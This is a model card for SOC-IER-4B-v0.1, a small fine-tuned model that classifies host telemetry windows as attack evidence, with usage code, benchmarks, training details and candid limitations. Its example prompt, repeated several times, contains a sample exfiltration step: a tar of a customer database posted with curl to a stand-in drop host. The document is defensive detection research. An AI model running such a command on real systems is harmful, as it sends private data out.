ThakiCloud

SOC-IER-4B-v0.1

README

License: apache-2.0

What it is for — and what it is not

For: research on evidence-grounded SOC reasoning; assisting an analyst by proposing which events in a window support an attack hypothesis; shadow evaluation next to an existing detection pipeline.
Not for: automated blocking, isolation or any response action taken on the model's output alone. The model never predicts UNKNOWN correctly (F1 0 on that class) and still labels 6.4% of benign windows as SUPPORTED. Its behaviour on production telemetry has not been validated.

How to use

The model was trained and evaluated with the system prompt below, verbatim. The user turn is a header line, one [id] key=value … line per event, the candidate id list, and the closing sentence. Use the same rendering; the output contract (enum values, id discipline) depends on it.

text

You are a SOC analyst. You receive an incident context, a short window of host telemetry events, and the list of candidate evidence ids. Decide whether the window contains observed evidence of an attack step.Rules: cite only ids from the candidate list; never cite an id that is not listed. Output SUPPORTED only when the cited events themselves show the attack behaviour; output INSUFFICIENT when the events are ordinary activity without such evidence; output UNKNOWN when the events cannot be attributed either way. Do not infer a whole attack chain from a single ordinary event.Answer with one JSON object only: {"incident_category": one of ["credential_compromise", "data_exfiltration", "container_compromise", "service_account_abuse", "supply_chain_loader", "discovery_sweep", "network_block_correlation", "none"], "supporting_evidence_ids": [ids], "decision": one of ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"], "rationale": "<= 60 words"}.

text

Incident context: host=app-web-02; window 2026-03-14T09:12:01.000Z .. 2026-03-14T09:13:40.000Z; 8 events; source=range telemetry (eBPF/proxy). Events:[ev_a1f3c9d2] ts=2026-03-14T09:12:01.120Z type=proc.exec host=app-web-02 user=uid:1000 proc=python3 cmd="python3 app.py"[ev_7b20e4aa] ts=2026-03-14T09:12:33.004Z type=proc.exec host=app-web-02 user=uid:1000 proc=tar cmd="tar czf /tmp/bundle.tgz /srv/app/customers.db"[ev_0c9d11e7] ts=2026-03-14T09:12:34.410Z type=net.dns host=app-web-02 qname=files.example-drop.net[ev_5e88f0b1] ts=2026-03-14T09:12:34.602Z type=proc.exec host=app-web-02 user=uid:1000 proc=curl cmd="curl -s -X POST --data-binary @/tmp/bundle.tgz https://files.example-drop.net/upload"[ev_d44a72c3] ts=2026-03-14T09:12:34.611Z type=net.flow host=app-web-02 proc=curl dst_ip=203.0.113.25 dst_port=443 proto=tcp[ev_9f1b6a05] ts=2026-03-14T09:13:02.900Z type=proc.exec host=app-web-02 user=uid:1000 proc=ls cmd="ls -la /srv/app"[ev_3a7e9c44] ts=2026-03-14T09:13:20.311Z type=net.flow host=app-web-02 proc=python3 dst_ip=10.0.12.5 dst_port=5432 proto=tcp[ev_b8c2d6f0] ts=2026-03-14T09:13:40.000Z type=proc.exec host=app-web-02 user=uid:1000 proc=sleep cmd="sleep 30" Candidate evidence ids: ev_a1f3c9d2, ev_7b20e4aa, ev_0c9d11e7, ev_5e88f0b1, ev_d44a72c3, ev_9f1b6a05, ev_3a7e9c44, ev_b8c2d6f0 Respond with the JSON object only.

Transformers

python

import torchfrom transformers import AutoModelForCausalLM, AutoTokenizer repo = "ThakiCloud/SOC-IER-4B-v0.1"tok = AutoTokenizer.from_pretrained(repo)model = AutoModelForCausalLM.from_pretrained(repo, dtype="auto", device_map="auto")   # weights are fp16 — keep them fp16 messages = [{"role": "system", "content": SYSTEM_PROMPT}, {"role": "user", "content": USER_PROMPT}]enc = tok.apply_chat_template(messages, add_generation_prompt=True, return_tensors="pt", return_dict=True).to(model.device)out = model.generate(**enc, max_new_tokens=320, do_sample=True, temperature=0.3, top_p=0.95)print(tok.decode(out[0][enc["input_ids"].shape[1]:], skip_special_tokens=True))

inference_example.py in this repository is the complete runnable version, including a check that the answer respects the schema and cites only candidate ids.

vLLM (structured output, as in the evaluation)

python

from vllm import LLM, SamplingParamsfrom vllm.sampling_params import StructuredOutputsParams SCHEMA = {"type": "object", "additionalProperties": False,          "required": ["incident_category", "supporting_evidence_ids", "decision", "rationale"],          "properties": {"incident_category": {"type": "string", "enum": ["credential_compromise", "data_exfiltration", "container_compromise",                                                                           "service_account_abuse", "supply_chain_loader", "discovery_sweep",                                                                           "network_block_correlation", "none"]},                         "supporting_evidence_ids": {"type": "array", "items": {"type": "string", "maxLength": 24}, "maxItems": 16},                         "decision": {"type": "string", "enum": ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"]},                         "rationale": {"type": "string", "maxLength": 480}}} llm = LLM(model="ThakiCloud/SOC-IER-4B-v0.1", dtype="auto", max_model_len=8192)   # resolves to float16; do not force bfloat16sp = SamplingParams(temperature=0.3, top_p=0.95, max_tokens=320, structured_outputs=StructuredOutputsParams(json=SCHEMA))print(llm.chat([messages], sp)[0].outputs[0].text)

Decoding used for every number on this card: temperature 0.3, top_p 0.95, max 320 new tokens, three sampled runs with a majority vote on the decision. Greedy decoding works as well and was used for the merge-equivalence check below. The schema constrains the enums but deliberately leaves evidence ids free, so citing an id outside the candidate list (a "phantom") remains measurable.

Results

All numbers below were measured by us with vLLM 0.28.0, bf16, the same prompts, the same parser and the same decoding, on one NVIDIA H100 NVL (CyberPal2.0-20B on one H200 NVL — same software, same inputs). Confidence intervals are 95% bootstrap intervals resampling incident chains (2,000 draws), because chains — not windows — are the independent unit.

Sealed benchmark (v6 capture, 48 independent chains, 239 windows, attack family not present in training; evaluated once, after model selection):

Table with columns: Model, Setting, Decision macro-F1 [CI95], Decision acc, Evidence recall, Evidence precision, False-SUPPORTED, Incident miss, Phantom ids
Model	Setting	Decision macro-F1 [CI95]	Decision acc	Evidence recall	Evidence precision	False-SUPPORTED	Incident miss
SOC-IER-4B-v0.1 (this model)	LoRA SFT	0.625 [0.604, 0.643]	0.916	0.895	0.929	0.064	0.061
Qwen3-4B-Instruct-2507	base, zero-shot	0.388 [0.345, 0.430]	0.603	0.532	0.615	0.688	0.070
Qwen3-8B + LoRA (internal, not released)	LoRA SFT, same recipe	0.554 [0.524, 0.580]	0.812	0.706	0.743	0.088	0.219
Qwen3-8B	base, zero-shot	0.391 [0.355, 0.428]	0.573	0.263	0.347	0.352	0.447
CyberPal2.0-20B	base, zero-shot	0.385 [0.341, 0.432]	0.565	0.565	0.641	0.336	0.465

Development set (v2 capture, 12 chains, 70 windows; same capture generation as training, chains disjoint):

Table with columns: Model, Decision macro-F1 [CI95], Decision acc, Evidence recall, False-SUPPORTED, Incident miss
Model	Decision macro-F1 [CI95]	Decision acc	Evidence recall	False-SUPPORTED	Incident miss
SOC-IER-4B-v0.1	0.618 [0.590, 0.648]	0.900	0.889	0.027	0.091
Qwen3-4B-Instruct-2507 (base)	0.387 [0.308, 0.455]	0.600	0.560	0.622	0.061
CyberPal2.0-20B (base)	0.422 [0.332, 0.522]	0.614	0.605	0.324	0.364

Metric definitions: decision macro-F1 averages F1 over the three decision classes, so the unreachable UNKNOWN class caps it near 2/3 for every model; evidence recall/precision are computed on windows whose gold decision is SUPPORTED; false-SUPPORTED is the share of non-attack windows labelled SUPPORTED; incident miss is the share of attack windows not labelled SUPPORTED; phantom ids counts windows citing an id outside the candidate list.

What the table does and does not say: fine-tuning on 603 task examples moved a 4B model from the zero-shot band (0.385–0.391, shared by the 4B base, the 8B base and the 20B security model) to 0.625 with non-overlapping intervals, and the 4B fine-tune also beat the 8B fine-tune trained with the same recipe. It does not say that CyberPal2.0-20B is a weaker security model in general — it was evaluated zero-shot, on our output contract, on telemetry windows it was never trained for. Its false-SUPPORTED rate (0.336) is already half that of the Qwen bases.

Training

Table

Base	Qwen/Qwen3-4B-Instruct-2507, revision `cdbee75f17c01a7cc42f958dc650907174af0554`
Method	LoRA SFT (PEFT 0.21.2), r=64, α=64, dropout 0.05, targets q/k/v/o/gate/up/down projections; 132.1M trainable parameters
Objective	cross-entropy on assistant tokens only; thinking disabled
Schedule	lr 5e-5, cosine, 5% warmup, weight decay 0.01, grad clip 1.0, 3 epochs = 114 optimizer steps, effective batch 16 (micro 2 × accumulation 8), max length 4,096, bf16, seed 20261021
Data	603 examples: 483 from an in-house cyber range (eBPF/proxy telemetry, "in-situ v2" capture, 24 independent chains, 3 attack families) + 120 auxiliary windows derived from witfoo/precinct6-cybersecurity (60 incidents, network-block correlation; 19.9% of training, capped at 20%)
Labels	decision and evidence ids come from the range's ground-truth attack script and structural pairing (each attack window has a matched benign counterfactual window on the same host); there is no human annotation. `UNKNOWN` has only 9 training examples
Splits	train 24 chains / dev 12 chains (same capture, chains disjoint) / sealed 48 chains (later capture, new attack family). No chain, pair or prompt overlaps across splits
Compute	one H100 NVL, 824 s of training (14 minutes), 22.3 GB peak memory
Merge	base loaded in fp32, adapter applied, `peft.PeftModel.merge_and_unload()` computed in fp32, result cast once to fp16 and saved as safetensors (3 shards, 398 tensors, no NaN/Inf, max

The recipe follows the public LoRA recipe on the CyberSecQwen-4B model card, with epochs reduced from 10 to 3 for the small set. No hyperparameter was changed after seeing evaluation results; the sealed set was evaluated once.

The training and evaluation data are not distributed: the cyber-range telemetry is internal (hostnames, addresses and scenario scripts of our own test environment — no customer or production data), and the WitFoo-derived windows are a re-rendering of a public dataset you can rebuild from the source.

Limitations

UNKNOWN is never predicted correctly (F1 0 on dev and sealed, for this model and every baseline). Windows where the evidence genuinely cannot be attributed are answered as SUPPORTED or INSUFFICIENT. Treat UNKNOWN as unsupported in v0.1.
False-SUPPORTED 6.4% on the sealed set: about one benign window in sixteen is labelled as attack evidence. In a SOC that is a real cost; it is one of the two targets for the next version.
In-domain benchmark. Train, dev and sealed data come from the same cyber range and the same event rendering. Attack families differ between train and sealed, but sensors, hosts and benign background do not. Generalisation to other telemetry formats, other EDR/eBPF schemas or real production traffic is unverified.
Small evaluation. 239 sealed windows over 48 chains: one window is 0.4% of the set, and the confidence intervals above are the honest resolution. Differences smaller than a few points are not interpretable.
Labels are structural, not expert. Gold decisions follow the attack script; an analyst might reasonably disagree on individual windows.
Context. Evaluated with windows of ≤ 16 candidate events (~2–3k tokens) and max_model_len 8,192. Longer windows were not tested.
English prompts only. The task rendering is English; other languages were not evaluated.
Merged weights are not bit-identical to base + adapter. The LoRA delta is small relative to 16-bit weight resolution. An fp32 merge saved in bf16 lost part of it (see below); the published fp16 merge did not, within the resolution of our check. If you re-quantize or re-cast these weights, re-measure.

Merge equivalence

Merging a LoRA into 16-bit weights can silently change the model, so the merged checkpoint was compared with base + adapter on the same 309 windows (dev 70 + sealed 239), same prompts, same decoding, under seven pre-registered pass/fail criteria fixed before any result was seen. Two merges were built; only the one that passed is published.

Table with columns: bf16 merge (merged in bf16) — not published, fp16 merge (merged in fp32, cast to fp16) — this repository
	bf16 merge (merged in bf16) — not published	fp16 merge (merged in fp32, cast to fp16) — this repository
Greedy decision agreement with base + adapter	0.990	1.000
Greedy incident-category agreement (threshold ≥ 0.95)	0.948 ✗	0.981 ✓
Greedy evidence-id set exact match / mean Jaccard	0.964 / 0.983	0.997 / 0.999
Invalid JSON · phantom ids (all runs)	0 · 0	0 · 0
Sealed decision macro-F1, 3-run majority [CI95]	0.6195 [0.598, 0.639]	0.6252 [0.604, 0.643]
Sealed evidence recall / precision	0.884 / 0.927	0.898 / 0.929
Sealed false-SUPPORTED / incident miss	0.072 / 0.070	0.064 / 0.061
Dev decision macro-F1 / evidence recall	0.608 / 0.837	0.618 / 0.889
Training identifiers in outputs not present in the prompt	0	0
Verdict	FAIL (category agreement)	PASS (7/7)

Base + adapter re-measured in the same job: sealed macro-F1 0.6252 [0.604, 0.643], evidence recall 0.910, false-SUPPORTED 0.064; dev 0.618 / 0.889. The fp16 merge reproduces the adapter's sealed majority result exactly and differs from it on 6 of 309 incident categories and 1 evidence set under greedy decoding. The adapter was evaluated through vLLM's LoRA path in bf16, the merged weights in fp16 (dtype="auto"); reading the fp16 weights as bf16 would reintroduce the loss seen in the first row.

License and attribution

The weights are released under Apache-2.0. They are a derivative of Qwen3-4B-Instruct-2507 (Apache-2.0, © Alibaba Cloud); the base license text is included as LICENSE-Qwen3. The auxiliary training data derives from witfoo/precinct6-cybersecurity (Apache-2.0). No AI Hub or other restricted-redistribution corpus was used.

Reproducing

Adapter, training configuration and per-file checksums: ThakiCloud/SOC-IER-4B-v0.1-LoRA
Evaluation: vLLM 0.28.0 (torch 2.13, transformers 5.15.1), max_model_len 8192, structured output with the schema above, temperature 0.3 / top_p 0.95 / 320 tokens, 3 runs, majority vote on the decision, chain-bootstrap CI (2,000 resamples). Base + adapter in bf16 (vLLM LoRA path); these merged weights in fp16.

Citation

bibtex

@misc{thakicloud2026socier,  title  = {SOC-IER-4B-v0.1: SOC Incident Evidence Reasoning},  author = {ThakiCloud},  year   = {2026},  url    = {https://huggingface.co/ThakiCloud/SOC-IER-4B-v0.1}}

Available on FriendliAI

Dedicated Endpoints

Run this model inference on single tenant GPU with unmatched speed and reliability at scale.

Learn more

Model Details

Model Provider

ThakiCloud

Model Tree

Base

Qwen/Qwen3-4B-Instruct-2507

Fine-tuned

this model

Input Modalities

Text

Output Modalities

Text

Supported Functionality

Dedicated Endpoints

Explore FriendliAI today

Get started Talk to an engineer

README

License: apache-2.0

What it is for — and what it is not

For: research on evidence-grounded SOC reasoning; assisting an analyst by proposing which events in a window support an attack hypothesis; shadow evaluation next to an existing detection pipeline.
Not for: automated blocking, isolation or any response action taken on the model's output alone. The model never predicts UNKNOWN correctly (F1 0 on that class) and still labels 6.4% of benign windows as SUPPORTED. Its behaviour on production telemetry has not been validated.

How to use

text

You are a SOC analyst. You receive an incident context, a short window of host telemetry events, and the list of candidate evidence ids. Decide whether the window contains observed evidence of an attack step.Rules: cite only ids from the candidate list; never cite an id that is not listed. Output SUPPORTED only when the cited events themselves show the attack behaviour; output INSUFFICIENT when the events are ordinary activity without such evidence; output UNKNOWN when the events cannot be attributed either way. Do not infer a whole attack chain from a single ordinary event.Answer with one JSON object only: {"incident_category": one of ["credential_compromise", "data_exfiltration", "container_compromise", "service_account_abuse", "supply_chain_loader", "discovery_sweep", "network_block_correlation", "none"], "supporting_evidence_ids": [ids], "decision": one of ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"], "rationale": "<= 60 words"}.

You are a SOC analyst. You receive an incident context, a short window of host telemetry events, and the list of candidate evidence ids. Decide whether the window contains observed evidence of an attack step.Rules: cite only ids from the candidate list; never cite an id that is not listed. Output SUPPORTED only when the cited events themselves show the attack behaviour; output INSUFFICIENT when the events are ordinary activity without such evidence; output UNKNOWN when the events cannot be attributed either way. Do not infer a whole attack chain from a single ordinary event.Answer with one JSON object only: {"incident_category": one of ["credential_compromise", "data_exfiltration", "container_compromise", "service_account_abuse", "supply_chain_loader", "discovery_sweep", "network_block_correlation", "none"], "supporting_evidence_ids": [ids], "decision": one of ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"], "rationale": "<= 60 words"}.

text

Incident context: host=app-web-02; window 2026-03-14T09:12:01.000Z .. 2026-03-14T09:13:40.000Z; 8 events; source=range telemetry (eBPF/proxy).Events:[ev_a1f3c9d2] ts=2026-03-14T09:12:01.120Z type=proc.exec host=app-web-02 user=uid:1000 proc=python3 cmd="python3 app.py"[ev_7b20e4aa] ts=2026-03-14T09:12:33.004Z type=proc.exec host=app-web-02 user=uid:1000 proc=tar cmd="tar czf /tmp/bundle.tgz /srv/app/customers.db"[ev_0c9d11e7] ts=2026-03-14T09:12:34.410Z type=net.dns host=app-web-02 qname=files.example-drop.net[ev_5e88f0b1] ts=2026-03-14T09:12:34.602Z type=proc.exec host=app-web-02 user=uid:1000 proc=curl cmd="curl -s -X POST --data-binary @/tmp/bundle.tgz https://files.example-drop.net/upload"[ev_d44a72c3] ts=2026-03-14T09:12:34.611Z type=net.flow host=app-web-02 proc=curl dst_ip=203.0.113.25 dst_port=443 proto=tcp[ev_9f1b6a05] ts=2026-03-14T09:13:02.900Z type=proc.exec host=app-web-02 user=uid:1000 proc=ls cmd="ls -la /srv/app"[ev_3a7e9c44] ts=2026-03-14T09:13:20.311Z type=net.flow host=app-web-02 proc=python3 dst_ip=10.0.12.5 dst_port=5432 proto=tcp[ev_b8c2d6f0] ts=2026-03-14T09:13:40.000Z type=proc.exec host=app-web-02 user=uid:1000 proc=sleep cmd="sleep 30"Candidate evidence ids: ev_a1f3c9d2, ev_7b20e4aa, ev_0c9d11e7, ev_5e88f0b1, ev_d44a72c3, ev_9f1b6a05, ev_3a7e9c44, ev_b8c2d6f0Respond with the JSON object only.

Incident context: host=app-web-02; window 2026-03-14T09:12:01.000Z .. 2026-03-14T09:13:40.000Z; 8 events; source=range telemetry (eBPF/proxy). Events:[ev_a1f3c9d2] ts=2026-03-14T09:12:01.120Z type=proc.exec host=app-web-02 user=uid:1000 proc=python3 cmd="python3 app.py"[ev_7b20e4aa] ts=2026-03-14T09:12:33.004Z type=proc.exec host=app-web-02 user=uid:1000 proc=tar cmd="tar czf /tmp/bundle.tgz /srv/app/customers.db"[ev_0c9d11e7] ts=2026-03-14T09:12:34.410Z type=net.dns host=app-web-02 qname=files.example-drop.net[ev_5e88f0b1] ts=2026-03-14T09:12:34.602Z type=proc.exec host=app-web-02 user=uid:1000 proc=curl cmd="curl -s -X POST --data-binary @/tmp/bundle.tgz https://files.example-drop.net/upload"[ev_d44a72c3] ts=2026-03-14T09:12:34.611Z type=net.flow host=app-web-02 proc=curl dst_ip=203.0.113.25 dst_port=443 proto=tcp[ev_9f1b6a05] ts=2026-03-14T09:13:02.900Z type=proc.exec host=app-web-02 user=uid:1000 proc=ls cmd="ls -la /srv/app"[ev_3a7e9c44] ts=2026-03-14T09:13:20.311Z type=net.flow host=app-web-02 proc=python3 dst_ip=10.0.12.5 dst_port=5432 proto=tcp[ev_b8c2d6f0] ts=2026-03-14T09:13:40.000Z type=proc.exec host=app-web-02 user=uid:1000 proc=sleep cmd="sleep 30" Candidate evidence ids: ev_a1f3c9d2, ev_7b20e4aa, ev_0c9d11e7, ev_5e88f0b1, ev_d44a72c3, ev_9f1b6a05, ev_3a7e9c44, ev_b8c2d6f0 Respond with the JSON object only.

Transformers

python

import torchfrom transformers import AutoModelForCausalLM, AutoTokenizer repo = "ThakiCloud/SOC-IER-4B-v0.1"tok = AutoTokenizer.from_pretrained(repo)model = AutoModelForCausalLM.from_pretrained(repo, dtype="auto", device_map="auto")   # weights are fp16 — keep them fp16 messages = [{"role": "system", "content": SYSTEM_PROMPT}, {"role": "user", "content": USER_PROMPT}]enc = tok.apply_chat_template(messages, add_generation_prompt=True, return_tensors="pt", return_dict=True).to(model.device)out = model.generate(**enc, max_new_tokens=320, do_sample=True, temperature=0.3, top_p=0.95)print(tok.decode(out[0][enc["input_ids"].shape[1]:], skip_special_tokens=True))

import torchfrom transformers import AutoModelForCausalLM, AutoTokenizer repo = "ThakiCloud/SOC-IER-4B-v0.1"tok = AutoTokenizer.from_pretrained(repo)model = AutoModelForCausalLM.from_pretrained(repo, dtype="auto", device_map="auto")   # weights are fp16 — keep them fp16 messages = [{"role": "system", "content": SYSTEM_PROMPT}, {"role": "user", "content": USER_PROMPT}]enc = tok.apply_chat_template(messages, add_generation_prompt=True, return_tensors="pt", return_dict=True).to(model.device)out = model.generate(**enc, max_new_tokens=320, do_sample=True, temperature=0.3, top_p=0.95)print(tok.decode(out[0][enc["input_ids"].shape[1]:], skip_special_tokens=True))

inference_example.py in this repository is the complete runnable version, including a check that the answer respects the schema and cites only candidate ids.

vLLM (structured output, as in the evaluation)

python

from vllm import LLM, SamplingParamsfrom vllm.sampling_params import StructuredOutputsParams SCHEMA = {"type": "object", "additionalProperties": False,          "required": ["incident_category", "supporting_evidence_ids", "decision", "rationale"],          "properties": {"incident_category": {"type": "string", "enum": ["credential_compromise", "data_exfiltration", "container_compromise",                                                                           "service_account_abuse", "supply_chain_loader", "discovery_sweep",                                                                           "network_block_correlation", "none"]},                         "supporting_evidence_ids": {"type": "array", "items": {"type": "string", "maxLength": 24}, "maxItems": 16},                         "decision": {"type": "string", "enum": ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"]},                         "rationale": {"type": "string", "maxLength": 480}}} llm = LLM(model="ThakiCloud/SOC-IER-4B-v0.1", dtype="auto", max_model_len=8192)   # resolves to float16; do not force bfloat16sp = SamplingParams(temperature=0.3, top_p=0.95, max_tokens=320, structured_outputs=StructuredOutputsParams(json=SCHEMA))print(llm.chat([messages], sp)[0].outputs[0].text)

from vllm import LLM, SamplingParamsfrom vllm.sampling_params import StructuredOutputsParams SCHEMA = {"type": "object", "additionalProperties": False,          "required": ["incident_category", "supporting_evidence_ids", "decision", "rationale"],          "properties": {"incident_category": {"type": "string", "enum": ["credential_compromise", "data_exfiltration", "container_compromise",                                                                           "service_account_abuse", "supply_chain_loader", "discovery_sweep",                                                                           "network_block_correlation", "none"]},                         "supporting_evidence_ids": {"type": "array", "items": {"type": "string", "maxLength": 24}, "maxItems": 16},                         "decision": {"type": "string", "enum": ["SUPPORTED", "INSUFFICIENT", "UNKNOWN"]},                         "rationale": {"type": "string", "maxLength": 480}}} llm = LLM(model="ThakiCloud/SOC-IER-4B-v0.1", dtype="auto", max_model_len=8192)   # resolves to float16; do not force bfloat16sp = SamplingParams(temperature=0.3, top_p=0.95, max_tokens=320, structured_outputs=StructuredOutputsParams(json=SCHEMA))print(llm.chat([messages], sp)[0].outputs[0].text)

Results

Sealed benchmark (v6 capture, 48 independent chains, 239 windows, attack family not present in training; evaluated once, after model selection):

Table with columns: Model, Setting, Decision macro-F1 [CI95], Decision acc, Evidence recall, Evidence precision, False-SUPPORTED, Incident miss, Phantom ids
Model	Setting	Decision macro-F1 [CI95]	Decision acc	Evidence recall	Evidence precision	False-SUPPORTED	Incident miss
SOC-IER-4B-v0.1 (this model)	LoRA SFT	0.625 [0.604, 0.643]	0.916	0.895	0.929	0.064	0.061
Qwen3-4B-Instruct-2507	base, zero-shot	0.388 [0.345, 0.430]	0.603	0.532	0.615	0.688	0.070
Qwen3-8B + LoRA (internal, not released)	LoRA SFT, same recipe	0.554 [0.524, 0.580]	0.812	0.706	0.743	0.088	0.219
Qwen3-8B	base, zero-shot	0.391 [0.355, 0.428]	0.573	0.263	0.347	0.352	0.447
CyberPal2.0-20B	base, zero-shot	0.385 [0.341, 0.432]	0.565	0.565	0.641	0.336	0.465

Development set (v2 capture, 12 chains, 70 windows; same capture generation as training, chains disjoint):

Table with columns: Model, Decision macro-F1 [CI95], Decision acc, Evidence recall, False-SUPPORTED, Incident miss
Model	Decision macro-F1 [CI95]	Decision acc	Evidence recall	False-SUPPORTED	Incident miss
SOC-IER-4B-v0.1	0.618 [0.590, 0.648]	0.900	0.889	0.027	0.091
Qwen3-4B-Instruct-2507 (base)	0.387 [0.308, 0.455]	0.600	0.560	0.622	0.061
CyberPal2.0-20B (base)	0.422 [0.332, 0.522]	0.614	0.605	0.324	0.364

Training

Table

Base	Qwen/Qwen3-4B-Instruct-2507, revision `cdbee75f17c01a7cc42f958dc650907174af0554`
Method	LoRA SFT (PEFT 0.21.2), r=64, α=64, dropout 0.05, targets q/k/v/o/gate/up/down projections; 132.1M trainable parameters
Objective	cross-entropy on assistant tokens only; thinking disabled
Schedule	lr 5e-5, cosine, 5% warmup, weight decay 0.01, grad clip 1.0, 3 epochs = 114 optimizer steps, effective batch 16 (micro 2 × accumulation 8), max length 4,096, bf16, seed 20261021
Data	603 examples: 483 from an in-house cyber range (eBPF/proxy telemetry, "in-situ v2" capture, 24 independent chains, 3 attack families) + 120 auxiliary windows derived from witfoo/precinct6-cybersecurity (60 incidents, network-block correlation; 19.9% of training, capped at 20%)
Labels	decision and evidence ids come from the range's ground-truth attack script and structural pairing (each attack window has a matched benign counterfactual window on the same host); there is no human annotation. `UNKNOWN` has only 9 training examples
Splits	train 24 chains / dev 12 chains (same capture, chains disjoint) / sealed 48 chains (later capture, new attack family). No chain, pair or prompt overlaps across splits
Compute	one H100 NVL, 824 s of training (14 minutes), 22.3 GB peak memory
Merge	base loaded in fp32, adapter applied, `peft.PeftModel.merge_and_unload()` computed in fp32, result cast once to fp16 and saved as safetensors (3 shards, 398 tensors, no NaN/Inf, max

Limitations

UNKNOWN is never predicted correctly (F1 0 on dev and sealed, for this model and every baseline). Windows where the evidence genuinely cannot be attributed are answered as SUPPORTED or INSUFFICIENT. Treat UNKNOWN as unsupported in v0.1.
False-SUPPORTED 6.4% on the sealed set: about one benign window in sixteen is labelled as attack evidence. In a SOC that is a real cost; it is one of the two targets for the next version.
In-domain benchmark. Train, dev and sealed data come from the same cyber range and the same event rendering. Attack families differ between train and sealed, but sensors, hosts and benign background do not. Generalisation to other telemetry formats, other EDR/eBPF schemas or real production traffic is unverified.
Small evaluation. 239 sealed windows over 48 chains: one window is 0.4% of the set, and the confidence intervals above are the honest resolution. Differences smaller than a few points are not interpretable.
Labels are structural, not expert. Gold decisions follow the attack script; an analyst might reasonably disagree on individual windows.
Context. Evaluated with windows of ≤ 16 candidate events (~2–3k tokens) and max_model_len 8,192. Longer windows were not tested.
English prompts only. The task rendering is English; other languages were not evaluated.
Merged weights are not bit-identical to base + adapter. The LoRA delta is small relative to 16-bit weight resolution. An fp32 merge saved in bf16 lost part of it (see below); the published fp16 merge did not, within the resolution of our check. If you re-quantize or re-cast these weights, re-measure.

Merge equivalence

Table with columns: bf16 merge (merged in bf16) — not published, fp16 merge (merged in fp32, cast to fp16) — this repository
	bf16 merge (merged in bf16) — not published	fp16 merge (merged in fp32, cast to fp16) — this repository
Greedy decision agreement with base + adapter	0.990	1.000
Greedy incident-category agreement (threshold ≥ 0.95)	0.948 ✗	0.981 ✓
Greedy evidence-id set exact match / mean Jaccard	0.964 / 0.983	0.997 / 0.999
Invalid JSON · phantom ids (all runs)	0 · 0	0 · 0
Sealed decision macro-F1, 3-run majority [CI95]	0.6195 [0.598, 0.639]	0.6252 [0.604, 0.643]
Sealed evidence recall / precision	0.884 / 0.927	0.898 / 0.929
Sealed false-SUPPORTED / incident miss	0.072 / 0.070	0.064 / 0.061
Dev decision macro-F1 / evidence recall	0.608 / 0.837	0.618 / 0.889
Training identifiers in outputs not present in the prompt	0	0
Verdict	FAIL (category agreement)	PASS (7/7)

License and attribution

Reproducing

Adapter, training configuration and per-file checksums: ThakiCloud/SOC-IER-4B-v0.1-LoRA
Evaluation: vLLM 0.28.0 (torch 2.13, transformers 5.15.1), max_model_len 8192, structured output with the schema above, temperature 0.3 / top_p 0.95 / 320 tokens, 3 runs, majority vote on the decision, chain-bootstrap CI (2,000 resamples). Base + adapter in bf16 (vLLM LoRA path); these merged weights in fp16.

Citation

bibtex

@misc{thakicloud2026socier,  title  = {SOC-IER-4B-v0.1: SOC Incident Evidence Reasoning},  author = {ThakiCloud},  year   = {2026},  url    = {https://huggingface.co/ThakiCloud/SOC-IER-4B-v0.1}}

@misc{thakicloud2026socier,  title  = {SOC-IER-4B-v0.1: SOC Incident Evidence Reasoning},  author = {ThakiCloud},  year   = {2026},  url    = {https://huggingface.co/ThakiCloud/SOC-IER-4B-v0.1}}